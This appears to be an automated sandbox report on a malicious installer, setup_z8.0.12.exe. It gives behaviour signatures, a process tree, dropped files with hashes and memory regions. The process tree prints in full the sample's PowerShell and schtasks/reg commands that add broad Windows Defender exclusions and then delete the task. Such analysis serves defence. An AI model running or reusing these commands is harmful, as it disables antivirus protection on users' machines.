Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/09/2026, 12:19

General

  • Target
    setup_z8.0.12.exe
  • Size 31.2MB
  • Sample260902-pg92taxtfy
  • SHA256 9e588c115a1fa46793eb4df38413ec468ef0a165eaffdfcdc6787905ed8cd1bb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_z8.0.12.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_z8.0.12.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3400
  • C:\Users\Public\BIcvoj\hBboLn.exe
    "C:\Users\Public\BIcvoj\hBboLn.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4700
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\BIcvoj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5072
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\BIcvoj\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5140
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2220
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4876
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3304
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:760
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3112
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3148
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3908
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3168
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:6044
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2032
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1480
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4284
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4900
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5980
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2420
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2068
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5148
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5020
                        • C:\Program Files (x86)\HL4T6c\3b7Sva.exe
                          "C:\Program Files (x86)\HL4T6c\3b7Sva.exe"
                          2⤵
                            PID:1408
                        • C:\Users\Public\BIcvoj\hBboLn.exe
                          "C:\Users\Public\BIcvoj\hBboLn.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:5952
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\BIcvoj" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:404
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\BIcvoj" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5432
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3068
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:256
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4080
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5340
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:6108
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3212
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1152

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                3b7Sva.exe

                                • Path C:\Program Files (x86)\HL4T6c\3b7Sva.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\HL4T6c\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 a14d4479acb4d9a616de29f819b3b9e35a7b2df7e8021a9bfe33db5cf8a7ff2f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\BIcvoj\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 61f8b83b98d588cdf6bd070c647b88c158077550fabf874441128712ad74cd39
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\BIcvoj\adoresd.dat
                                • Size 4.7MB
                                • SHA256 8f0c5426897ac6c21fad7bb3ed83acdef410b4abad504f6dd3154c716c508ddd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                hBboLn.exe

                                • Path C:\Users\Public\BIcvoj\hBboLn.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\BIcvoj\msadox.tb
                                • Size 8KB
                                • SHA256 084ab8c94411ed53d625626b82a463cd78ca855eaf3a73fa0c6716759f662c91
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2680-559-0x000001E4EE250000-0x000001E4EE2DA000-memory.dmp

                                memory/2680-563-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-530-0x00007FFE56E50000-0x00007FFE56E52000-memory.dmp

                                memory/2680-531-0x00007FFE34300000-0x00007FFE3481E000-memory.dmp

                                memory/2680-565-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-566-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-536-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-539-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-538-0x00007FFE56E60000-0x00007FFE56E62000-memory.dmp

                                memory/2680-543-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-545-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-546-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-544-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-550-0x000001E4ED9C0000-0x000001E4EE247000-memory.dmp

                                memory/2680-561-0x000001E4EE250000-0x000001E4EE2DA000-memory.dmp

                                memory/2680-558-0x000001E4EE250000-0x000001E4EE2DA000-memory.dmp

                                memory/2680-557-0x000001E4EE250000-0x000001E4EE2DA000-memory.dmp

                                memory/2680-556-0x000001E4ECF30000-0x000001E4ECF7E000-memory.dmp

                                memory/3400-524-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/3400-504-0x00007FFE4D1A0000-0x00007FFE4D1B2000-memory.dmp

                                memory/3400-525-0x00007FFE4D1A0000-0x00007FFE4D1B2000-memory.dmp

                                memory/3400-1-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/3400-2-0x00000000004A0000-0x00000000004AC000-memory.dmp

                                memory/3400-0-0x0000000000480000-0x000000000048E000-memory.dmp

                                memory/4700-591-0x000001EF43CA0000-0x000001EF43CC2000-memory.dmp

                                memory/4700-596-0x000001EF43FD0000-0x000001EF43FDA000-memory.dmp

                                memory/4700-595-0x000001EF43F10000-0x000001EF43FC2000-memory.dmp

                                memory/4700-594-0x000001EF43EF0000-0x000001EF43F0E000-memory.dmp

                                memory/5952-583-0x0000015543C30000-0x00000155444B7000-memory.dmp

                                memory/5952-585-0x0000015543C30000-0x00000155444B7000-memory.dmp

                                memory/5952-584-0x0000015543C30000-0x00000155444B7000-memory.dmp

                                memory/5952-586-0x0000015543C30000-0x00000155444B7000-memory.dmp

                                memory/5952-587-0x00007FFE56E50000-0x00007FFE56E52000-memory.dmp

                                memory/5952-579-0x0000015543C30000-0x00000155444B7000-memory.dmp

                                memory/5952-578-0x00007FFE56E60000-0x00007FFE56E62000-memory.dmp

                                memory/5952-576-0x0000015543C30000-0x00000155444B7000-memory.dmp

                                memory/5952-573-0x00007FFE34300000-0x00007FFE3481E000-memory.dmp